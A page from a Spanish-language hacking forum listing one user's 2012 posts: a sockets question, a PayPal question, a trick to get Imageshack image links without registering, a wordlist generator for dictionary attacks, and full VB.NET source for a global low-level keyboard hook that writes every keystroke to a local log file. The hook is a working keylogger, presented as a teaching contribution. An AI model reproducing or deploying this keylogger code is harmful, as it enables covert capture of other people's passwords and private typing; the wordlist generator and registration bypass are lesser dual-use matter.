  38.    End Sub
  39. End Module
  40.  

Happy Hacking ;)
66  Programación / .NET (C#, VB.NET, ASP) / [Sockets] Obtener Nombre del archivo en: 11 Abril 2012, 03:29 am
Buenas a aquellos que leais el post,

he decidido postear este tema en este foro ya que por el momento no trataré con ningun lenguaje de programación. Lo que pido al poder ser es CONSEJO ya que llevo un buen rato buscando.

El problema es el siguiente:

tengo una aplicación Cliente/Servidor en la cual se producen envios de aplicaciones y son recibidas por el cliente directamente. Claro que al guardar la aplicación en el lado del Cliente tengo que introducir el nombre del ejecutable resultante manualmente en el código.

Ya probé enviando desde el Servidor un paquete con el nombre del archivo y los datos de la aplicación a enviar, después en el Cliente obtuve el nombre del archivo, pero el archivo estaba corrupto :/

Mi pregunta es, ¿Cómo obtener en el lado del Cliente el nombre del archivo recibido?

Agradezco cualquier ayuda..

Saludos.
67  Programación / .NET (C#, VB.NET, ASP) / [APORTE] Hook global de teclado (sin DLL) VB .NET en: 26 Marzo 2012, 22:52 pm
Buenas .NET(adictos),

he observado que por este foro circulan peticiones de usuarios que desean introducirse en el mundo del hooking en Windows y he decidido codear una breve aplicación, comentada al detalle para su buen entendimiento y poder comprender las nociones básicas del Hooking.

La verdad que aprendí hace unos 2 días, me puse en C a codearlo pero .NET me tira más, ya después de leer la documentación de MSDN (abajo os dejo el link) y utilizar un poquito (la Web) Pinvoke para declarar las funciones del API ya pude completar el programa.

El programa simplemente establece un Hook de tipo LowLevelKeyBoard, captura las teclas interceptadas por el hook y finalmente las guarda una a una en un fichero de la carpeta actual.

Link Documentacion Hooks-> http://msdn.microsoft.com/en-us/library/windows/desktop/ms632589%28v=vs.85%29.aspx

Como no, comparto con vosotros el Source del programa. Está codeado bajo el Framework 4.0 y desarrollado en Visual Basic .NET (VS 2010)

Link de descarga -> http://www.mediafire.com/?4fbdmx5obwu5k10

Source:

Código
  1. Imports System.Runtime.InteropServices
  2. Imports System.IO
  3. Imports System.Threading
  4. Imports System.Windows.Forms
  5. Public Class Form1
  6.    Enum Constantes As Integer
  7.        WH_KEYBOARD_LL = 13
  8.        HC_ACTION = 0
  9.        WM_KEYDOWN = &H100
  10.        WM_KEYUP = &H101
  11.        WM_SYSKEYDOWN = &H104
  12.        WM_SYSKEYUP = &H105
  13.    End Enum '-> Constantes utilizadas en el Hook Global
  14.    <StructLayout(LayoutKind.Sequential)> _
  15.    Public Class KBDLLHOOKSTRUCT
  16.        Public vkCode As UInt32
  17.        Public scanCode As UInt32
  18.        Public flags As UInt32
  19.        Public time As UInt32
  20.        Public dwExtraInfo As UIntPtr
  21.    End Class '-> Estructura que contiene los mensajes interceptados por el Hook
  22. #Region "Declaraciones_API"
  23.    <DllImport("user32.dll")> _
  24.    Friend Shared Function SetWindowsHookEx(ByVal idHook As Integer, ByVal lpfn As HookProc, ByVal hInstance As IntPtr, ByVal threadId As Integer) As Integer
  25.    End Function
  26.  
  27.    <DllImport("user32.dll")> _
  28.    Friend Shared Function CallNextHookEx(ByVal hhk As IntPtr, ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As KBDLLHOOKSTRUCT) As Integer
  29.    End Function
  30.    <DllImport("kernel32.dll", CharSet:=CharSet.Auto, SetLastError:=True)> _
  31.    Public Shared Function GetModuleHandle(ByVal lpModuleName As String) As IntPtr
  32.    End Function
  33.    <DllImport("user32.dll", SetLastError:=True)> _
  34.    Public Shared Function UnhookWindowsHookEx(ByVal hhk As IntPtr) As <MarshalAs(UnmanagedType.Bool)> Boolean
  35.    End Function
  36. #End Region '-> Declaraciones de APIs para el uso de Hooks (SetWindowsHookEx...)
  37.    Enum HookType As Integer
  38.        WH_JOURNALRECORD = 0
  39.        WH_JOURNALPLAYBACK = 1
  40.        WH_KEYBOARD = 2
  41.        WH_GETMESSAGE = 3
  42.        WH_CALLWNDPROC = 4
  43.        WH_CBT = 5
  44.        WH_SYSMSGFILTER = 6
  45.        WH_MOUSE = 7
  46.        WH_HARDWARE = 8
  47.        WH_DEBUG = 9
  48.        WH_SHELL = 10
  49.        WH_FOREGROUNDIDLE = 11
  50.        WH_CALLWNDPROCRET = 12
  51.        WH_KEYBOARD_LL = 13
  52.        WH_MOUSE_LL = 14
  53.    End Enum '-> Tipos de Hooks para monitorizar mensajes
  54.    'Declaramos un delegado y le asignamos sus respectivos argumentos
  55.    Delegate Function HookProc(ByVal code As Integer, ByVal wParam As IntPtr, ByVal lParam As KBDLLHOOKSTRUCT) As Integer
  56.    Private CallbackDelegate As HookProc = Nothing
  57.    'Declaramos la variable Hook. Será la encargada de almacenar la direccion de memoria del Hook
  58.    Dim hook As IntPtr = IntPtr.Zero
  59.    'Procedimiento asociado al puntero AddressOf(CallBackDelegate)
  60.    Private Function HookprocHandler(ByVal code As Integer, ByVal wParam As IntPtr, ByVal lParam As KBDLLHOOKSTRUCT) As Integer
  61.        Try
  62.            'Code es la variable encargada de decir si existe un mensaje. Si code !=0 no habra nada.
  63.            If (code < 0) Then
  64.                'Damos paso al siguiente Hook y procedemos con el continuamiento del Sistema
  65.                Return CallNextHookEx(IntPtr.Zero, code, wParam, lParam)
  66.            Else
  67.                Dim sr As New StreamWriter(CurDir() & "\log.txt", True)
  68.                'Segun el código devuelto a la pulsación de la tecla (257,258)
  69.                Select Case wParam
  70.                    Case Constantes.WM_KEYDOWN, Constantes.WM_SYSKEYDOWN
  71.                        Dim key As Char = ChrW(lParam.vkCode) 'Imprimimos el caracter ASCII en pantalla
  72.                        sr.Write(key)
  73.                End Select
  74.                sr.Close()
  75.                Return CallNextHookEx(IntPtr.Zero, code, wParam, lParam)
  76.            End If
  77.        Catch ex As Exception
  78.        End Try
  79.        Return 1
  80.    End Function
  81.    Private Sub Iniciar_Hook()
  82.        Try
  83.            'Asociamos a dicho procedimiento un puntero hacia el controlador del Hook (HookProcHandler)
  84.            CallbackDelegate = New HookProc(AddressOf HookprocHandler)
  85.            If hook <> 0 Then
  86.                'Desinstalamos el Hook
  87.                UnhookWindowsHookEx(hook)
  88.                hook = IntPtr.Zero
  89.                btn_hook.Text = "Hookear Teclado"
  90.            Else
  91.                'Instalamos un Hook Global (LowLevelKeyBoard) y llamamos a la funcion HookProcHandler
  92.                'Los ultimos dos parametros indican el HINSTANCE y PID, se utilizarian en caso de Hook local _
  93.                'empleados en juegos y demás.
  94.                hook = SetWindowsHookEx(HookType.WH_KEYBOARD_LL, CallbackDelegate, 0, 0)
  95.                btn_hook.Text = "Desinstalar Hook"
  96.                FileSystem.Kill(CurDir() & "\log.txt")
  97.            End If
  98.        Catch ex As Exception
  99.        End Try
  100.  
  101.    End Sub
  102.    Private Sub btn_hook_Click(sender As System.Object, e As System.EventArgs) Handles btn_hook.Click
  103.        Iniciar_Hook()
  104.    End Sub
  105. End Class
  106.  

Espero que os haya gustado el aporte. Cualquier duda que pueda surgir con el tema posteadla aquí, no olvideis que esto es lo más básico, los hooks tienen muchísimo juego.

Un Saludo ;)
68  Foros Generales / Dudas Generales / Añadir fondos PayPal vía SMS en: 22 Febrero 2012, 03:22 am
Buenas noches,

Necesito pagar un Hosting urgentemente y he estado indagando BASTANTE sobre como añadir fondos a mi cuenta de PayPal mediante SMS, ya que no dispongo de tarjeta de crédito ni de cuenta bancaria a mi poder :P

Lo único que he encontrado es una inutil aplicación para SmartPhones para enviar dinero a un destinatario con cuenta PayPal. También encontré lo mismo pero desde la dirección m.paypal.es, que es basicamente lo mismo.

Os lanzo mi pregunta,

¿Cómo demonios INGRESO fondos en mi cuenta de PayPal desde un teléfono móvil? No quiero enviar nada, solo ingresar fondos :P

Cada día pierdo la esperanza en este tipo de métodos...

Gracias.
69  Seguridad Informática / Hacking / [APORTE] Saltarse el registro de Imageshack.us en: 16 Febrero 2012, 00:49 am
Buenas noches foreros,

no sé si se puede caracterizar de aporte, me explico, esta noche mientras escribía la publicación de un aporte para el foro de .NET he necesitado tirar de la famosa página de hosting gratuito de imágenes Imageshack.us

He alucinado cuando pedía que te registraras para recibir el link directo de las fotos subidas, pero como sabía que había gato encerrado me ha dado por mirar el código HTML de la página y he conseguido los links a las fotos sin tener que registrarme en la Web. Bastante cómodo si utilizas el servicio de hosting gratuito de fotos con poca frecuencia.

Os explico a partir de imágenes:

Cuando subis una imagen cualquiera a Imageshack.us os saltará este formulario de registro que nos dice que los links de las fotos subidas serán enviados a nuestro correo electrónico una vez registrados



Como podeis ver el formulario de registro saltó. Acto seguido, como nuestro navegador nos deja ver el código fuente de la WEB lo visualizamos y hacemos una búsqueda presionando CTRL+F. En el campo de búsqueda introducimos my-images y nos llevará a un link que contendrá al final de la cadena el nombre de la foto que subimos (si nuestra foto se llama pedobear.jpg pues la cadena del link terminara en pedobear.jpg)



Copiamos el link encontrado mediante la búsqueda y navegamos hasta él con nuestro navegador y bualá, saldrá en pantalla nuestra foto subida sin necesidad de registrarnos. Ya ahí como sabreis copias el link verdadero de la foto y listo para pegar en BBCODE por ejemplo.

Saludos.
70  Programación / .NET (C#, VB.NET, ASP) / [APORTE] Generador de Diccionarios VB.NET en: 16 Febrero 2012, 00:28 am
Buenas noches a todos los amantes de .NET,

llevaba unas semanas queriendo hacer un generador de diccionarios numérico y alfanumérico, pero no encontré la manera de implementar un código sencillo y práctico sin tener que llenar de sentencias de control y condicionales todos los procedimientos utilizados en el código.

Hoy, después de unas semanas de codear otros proyectos ya casi acabados o ya terminados se me ha ocurrido ponerme a dar por finalizada esta aplicación, y como ya lo he hecho la comparto con todos vosotros.

He de decir que solo tiene dos opciones de generación, pero en el Source podeis ver que los algoritmos que he utilizado para crear los diccionarios pueden ser utilizados para crear nuevos diccionarios, por ejemplo con simbolos, caracteres y demás.

Aquí os dejo unas capturas del programa y de los ficheros que contienen el output del generador de diccionarios:

GUI del programa:



Output de los diccionarios:



Como veis no es cosa de otro mundo, os dejo el Source del programa por si quereis experimentar un poquillo y seguir adelante con el proyecto:

http://www.4shared.com/rar/L_AjQLzh/file.html

La contraseña del archivo es: kub0x.NET

Cualquier fallo, sugerencia u optimización del code postearlo aquí en este tema.

Un saludo a todos.
Páginas: 1 2 3 4 5 6 [7] 8 9
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines